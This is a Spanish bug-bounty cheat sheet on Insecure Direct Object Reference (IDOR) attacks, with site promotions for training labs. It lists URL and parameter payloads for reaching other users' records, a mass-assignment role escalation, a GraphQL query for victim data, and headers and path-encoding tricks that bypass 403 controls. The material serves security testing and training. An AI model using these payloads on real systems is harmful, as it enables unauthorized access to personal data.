Cheatsheet IDOR
Insecure Direct Object Reference
Referencia rápida
- →El IDOR existe porque la capa que autoriza y la capa que procesa interpretan el input diferente
- →Encoded space (%20) es la tecnica con mayor ratio de exito segun investigaciones
- →Siempre probar version downgrade de API: v5 -> v4, v3, v2, v1
- →UUID v1 es predecible si conoces timestamp aproximado - solo v4 tiene alta entropia
- →Buscar IDs filtrados en otras respuestas API, Referrer headers y signup flows
Tecnicas de bajo ruido
Trailing slash
/api/v5/users/99/
Double slash
/api/v5//users//99
Subpath variantsProbar tambien: /details, /info, /summary, /export
/api/v5/users/99/profile
Query param vs pathDiferentes code paths de parsing
/users?id=99
Multi-ID filterList endpoints suelen tener menos proteccion
?ids[]=100&ids[]=99
Version downgrade y formato
API version downgradeVersiones antiguas pueden no tener ACL modernos
/api/v2/users/99
Type confusion - string
/users/"99"
Leading zeros
/users/099
Hexadecimal0x63 = 99 en hexadecimal
/users/0x63
Encoded space (mas exitoso)Tecnica con mayor ratio de exito real
/users/99%20
Null byte
/users/99%00
Composite (combinar)Version downgrade + encoded space + trailing slash
/api/v2/users/99%20/
Manipulacion de parametros
JSON parameter pollutionBackend puede tomar el segundo valor
{"userid":1234,"userid":2542}Wrap ID con array
{"userid":[123]}Wrap ID con objeto
{"userid":{"userid":123}}Mass assignment - role
{"username":"test","role":"admin","isVerified":true}GraphQL IDOR
query { user(id: "victim-id") { email role personalData } }Type confusion (object ID swap)Sustituir tipo de ID esperado por otro tipo
page_id=USER_ID
Bypass 403 con headers
X-Original-URL
X-Original-URL: /api/v5/admin/100
X-Forwarded-For
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization
X-Custom-IP-Authorization: 127.0.0.1
X-Rewrite-URL
X-Rewrite-URL: /admin
X-HTTP-Method-OverrideCambiar metodo HTTP via header
X-HTTP-Method-Override: PUT
Bypass 403 con URL encoding
Path con punto
/admin/.
Path con punto-coma
/admin;/
Path con doble encoding
/admin%252f
Path con %2e
/%2e/admin
Path con null byte
/admin%00.json
Case manipulation
/ADMIN
Path traversal y vuelta
/admin/./../../admin
Herramientas
Autorize (Burp)
Extension de Burp que detecta IDOR automaticamente comparando sesiones
Burp Suite > Extensions > Autorize > Configure cookies
bypass-403
Prueba automaticamente multiples tecnicas de bypass 403
python3 bypass-403.py https://target.com/admin
Arjun
Descubre parametros HTTP ocultos en endpoints API
arjun -u https://target.com/api/endpoint
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.